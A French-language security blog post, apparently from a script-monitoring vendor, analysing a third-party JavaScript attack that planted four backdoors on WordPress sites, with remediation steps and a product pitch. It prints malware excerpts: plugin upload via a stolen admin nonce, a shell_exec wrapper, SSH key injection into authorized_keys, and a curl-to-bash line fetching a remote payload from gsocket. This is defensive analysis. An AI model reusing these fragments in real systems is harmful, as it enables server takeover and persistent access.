Skip to main content
Blog
Blog Attacks

Des milliers de sites web touchés par quatre portes dérobées dans une attaque JavaScript tierce

En analysant les menaces ciblant les frameworks WordPress, nous avons découvert une attaque où un seul fichier JavaScript tiers a été utilisé pour injecter quatre portes dérobées distinctes dans 1 000 sites web compromis via cdn.csyndication[.]com/.

Mar 04, 2025 5 min read
4-backdoors-image-cover

En analysant les menaces ciblant les frameworks WordPress, nous avons découvert une attaque où un seul fichier JavaScript tiers a été utilisé pour injecter quatre portes dérobées distinctes dans 1 000 sites web compromis via cdn.csyndication[.]com/.

La création de quatre portes dérobées offre aux attaquants plusieurs points de réentrée si l'une d'elles est détectée et supprimée. Un cas unique que nous n'avions jamais rencontré auparavant, qui illustre un nouveau type d'attaque rendu possible par l'exploitation de sites web ne surveillant pas leurs dépendances tierces dans le navigateur de leurs utilisateurs.

Voici nos références pour vos propres recherches :

Fonctions des portes dérobées :

  1. Téléverse un plugin WordPress malveillant via un script caché.
  2. Injecte le JavaScript malveillant.
  3. Ajoute des clés SSH contrôlées par l'attaquant.
  4. Exécute des commandes à distance et récupère la charge utile.

Le domaine malveillant ne présente que deux détections dans les flux de menaces.

1ère porte dérobée

Un fichier ZIP est encodé en base64 :

<const O00O00911F_0x5aa841 = "UEsDBAoAAAAAAJizT1kAAAAAAAAAAAAAAAAUABwAdWx0cmEtc2VvLXByb2Nlc3Nvci9VVAkAA4DQ...";

Il récupère la page de téléversement de plugins WordPress afin d'obtenir le _wpnonce token (protection CSRF).

O00O00911F_0x2bcbf3().then(_0x58a9ee => {
  if (_0x58a9ee) {
    const _0x425d54 = new FormData();
    _0x425d54.append("_wpnonce", _0x58a9ee);
    _0x425d54.append("pluginzip", O00O00911F_0x4e0619, "ultra-seo-processor-wp.zip");
    fetch("/wp-admin/update.php?action=upload-plugin", {
      method: "POST",
      body: _0x425d54,
      credentials: "include"
    })
  }
});

Cela téléverse et installe un faux plugin (ultra-seo-processor-wp.zip) sur un site WordPress. Le fichier ZIP contient du code PHP de porte dérobée.

Le script tente ensuite de téléverser un autre plugin WordPress malveillant :

return fetch("/wp-admin/plugin-install.php?tab=upload", {
  method: "GET",
  credentials: "include"
}).then(_0x58b74d => _0x58b74d.text()).then(_0x29d24b => {
  const _0x577cdd = new DOMParser();
  const _0x240b0e = _0x577cdd.parseFromString(_0x29d24b, "text/html");
  const _0x1bd6e5 = _0x240b0e.querySelector("input[name=\"_wpnonce\"]");
  if (_0x1bd6e5) {
    return _0x1bd6e5.value;
  }
});

Cette fonction récupère un nonce d'administration depuis WordPress, puis tente de téléverser un plugin (ultra-seo-processor-wp.zip) vers /wp-admin/update.php?action=upload-plugin, ce qui constitue un signe évident de modification non autorisée au niveau administrateur.

Le script tente ensuite d'exécuter un fichier de porte dérobée dans le répertoire /wp-content/plugins/.

return fetch("/wp-content/plugins/ultra-seo-processor/ultra-seo-processor.php?f6975d6b0e6087dbea971c93cdce5dd2=da00c38aacde5b89aa408c8338151caa", {
  method: "GET",
  credentials: "include"
});

Il recherche les répertoires d'installation de WordPress et Laravel. Cette fonction PHP tente de localiser les installations WordPress (wp-config.php, wp-blog-header.php) et Laravel (artisan) à des fins d'exploitation potentielle.

function findSpecialDirectories($rootDir) {
    $directories = [];
    $iterator = new RecursiveIteratorIterator(
        new RecursiveDirectoryIterator(
            $rootDir,
            FilesystemIterator::SKIP_DOTS | RecursiveDirectoryIterator::FOLLOW_SYMLINKS
        ),
        RecursiveIteratorIterator::SELF_FIRST
    );
    foreach ($iterator as $file) {
        if ($file->isDir()) {
            $path = $file->getRealPath();
            if (!$path) {
                continue;
            }
            if (
                file_exists($path . DIRECTORY_SEPARATOR . 'index.php') ||
                file_exists($path . DIRECTORY_SEPARATOR . 'wp-config.php') ||
                file_exists($path . DIRECTORY_SEPARATOR . 'wp-blog-header.php') ||
                file_exists($path . DIRECTORY_SEPARATOR . 'artisan')
            ) {
                $directories[] = $path;
            }
        }
    }
    return array_unique($directories);
}

Analyse de ultra-seo-processor.zip dans la 1ère porte dérobée

Hash du fichier** : 3953121a6994a157e12886df45ef2aaa85390832d58915370d8c90d4f90092be**

Une seule détection sur Virustotal.

Le fichier ZIP, encodé en base64 et injecté dans WordPress via un script caché, contient :

  • ultra-seo-processor.php : un plugin WordPress malveillant qui exécute les commandes de l'attaquant.
  • Du code qui masque le plugin dans le panneau d'administration, rendant la détection difficile.
  • Des fonctions qui analysent les répertoires à la recherche d'installations WordPress et Laravel.
  • Du code injecté dans wp-config.php pour assurer la persistance.
  • L'installation de clés SSH permettant un accès distant au serveur.

Voici un extrait de la porte dérobée PHP contenue dans le plugin :

function findSpecialDirectories($rootDir) {
   $directories = [];
   $iterator = new RecursiveIteratorIterator(
       new RecursiveDirectoryIterator(
           $rootDir,
           FilesystemIterator::SKIP_DOTS | RecursiveDirectoryIterator::FOLLOW_SYMLINKS
       ),
       RecursiveIteratorIterator::SELF_FIRST
   );
   foreach ($iterator as $file) {
       if ($file->isDir()) {
           $path = $file->getRealPath();
           if (!$path) {
               continue;
           }
           if (
               file_exists($path . DIRECTORY_SEPARATOR . 'index.php') ||
               file_exists($path . DIRECTORY_SEPARATOR . 'wp-config.php') ||
               file_exists($path . DIRECTORY_SEPARATOR . 'wp-blog-header.php')
           ) {
               $directories[] = $path;
           }
       }
   }
   return array_unique($directories);
}

Cette fonction tente d'analyser les installations WordPress ; le malware est conçu pour un déploiement à grande échelle sur plusieurs installations CMS hébergées sur le même serveur.

$my_execution = function($cmd) {
   return shell_exec($cmd);
};

2ème porte dérobée :

Injecte du JavaScript malveillant dans wp-config.php :

$cdn = '<?php ini_set("display_errors", 0); ini_set("display_startup_errors", 0); if (PHP_SAPI !== "cli" && (strpos(@$_SERVER["REQUEST_URI"], "/wp-admin/admin-ajax.php") === false ...';

3ème porte dérobée :

L'injection de clés SSH ajoute des clés SSH contrôlées par l'attaquant dans ~/.ssh/authorized_keys, permettant un accès persistant au serveur :

$ak_a_file = $ak_base_folder.'/.ssh/authorized_keys';
@file_put_contents($ak_a_file, 'ssh-rsa AAAAB3N...');
@file_put_contents($ak_a_file, 'ssh-ed25519 AAAAC3Nza...');

4ème porte dérobée :

Exécute des commandes à distance et récupère une autre charge utile depuis gsocket[.]io/y, créant vraisemblablement un reverse shell.

$my_execution = function($cmd) {
  return shell_exec($cmd);
};
$my_stdout = $my_execution('bash -c "$(curl -fsSL https://gsocket[.]io/y)"');

Comment protéger votre site web

Si vous les détectez, supprimez immédiatement le plugin WordPress malveillant (ultra-seo-processor). Vérifiez le fichier .ssh/authorized_keys pour repérer toute clé non autorisée et supprimez-la. Examinez wp-config.php et index.php à la recherche de code injecté. Si votre serveur web a été compromis, renouvelez l'ensemble des identifiants d'administration WordPress. Surveillez les journaux système pour détecter toute activité suspecte ultérieure.

L'utilisation de JavaScript tiers comme vecteur d'attaque n'est pas nouvelle. En revanche, l'approche multi-portes-dérobées, qui maximise la persistance pour les attaquants, est inédite. Compte tenu de l'utilisation généralisée de bibliothèques JS externes sur tous les sites, nous pensons que ce type d'attaque sera amené à se reproduire.

Nous avons reproduit cette attaque en environnement de test, et cside a détecté et bloqué avec succès l'injection JavaScript malveillante. Si vous craignez une infection potentielle, notre système peut fournir une analyse en temps réel et une défense proactive.

Réservez un appel/démo ou inscrivez-vous dès maintenant.

Himanshu Anand
Software Engineer Himanshu Anand

I'm a software engineer and security analyst.

Surveillez et sécurisez vos scripts tiers

Gain full visibility and control over every script delivered to your users to enhance site security and performance.

Commencez gratuitement, ou essayez Business avec un essai de 14 jours.

cside Interface du tableau de bord affichant la surveillance des scripts et les analyses de sécurité
Related Articles
Réserver une démonstration